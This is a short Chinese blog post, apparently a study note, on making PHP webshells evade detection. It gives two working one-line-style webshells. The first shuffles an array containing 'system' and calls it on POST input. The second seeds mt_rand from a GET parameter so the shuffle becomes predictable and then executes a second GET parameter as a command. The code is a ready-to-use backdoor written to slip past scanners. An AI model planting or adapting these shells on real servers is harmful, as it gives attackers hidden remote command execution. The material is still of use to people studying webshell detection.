记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
future141216 分钟前
项目开发日记
前端·学习·c#·游戏开发
weixin_4432906936 分钟前
【云服务器安全相关】堡垒机、WAF、防火墙、IDS 有什么区别?
服务器·安全·php
深盾科技39 分钟前
.NET 程序的强名称签名与安全防护技术干货
安全
每次的天空1 小时前
Android-重学kotlin(协程源码第一阶段)新学习总结
开发语言·学习·kotlin
Brookty1 小时前
【操作系统】线程
java·linux·服务器·后端·学习·java-ee·操作系统
数字芯片实验室7 小时前
分享一个可以学习正则表达式的网址:Pythex.org
学习·正则表达式
陈洪奇8 小时前
注册中心学习笔记整理
笔记·学习
光影少年8 小时前
从前端转go开发的学习路线
前端·学习·golang
zskj_zhyl8 小时前
毫米波雷达守护银发安全:七彩喜跌倒检测仪重构居家养老防线
人工智能·安全·重构
fen_fen13 小时前
学习笔记(32):matplotlib绘制简单图表-数据分布图
笔记·学习·matplotlib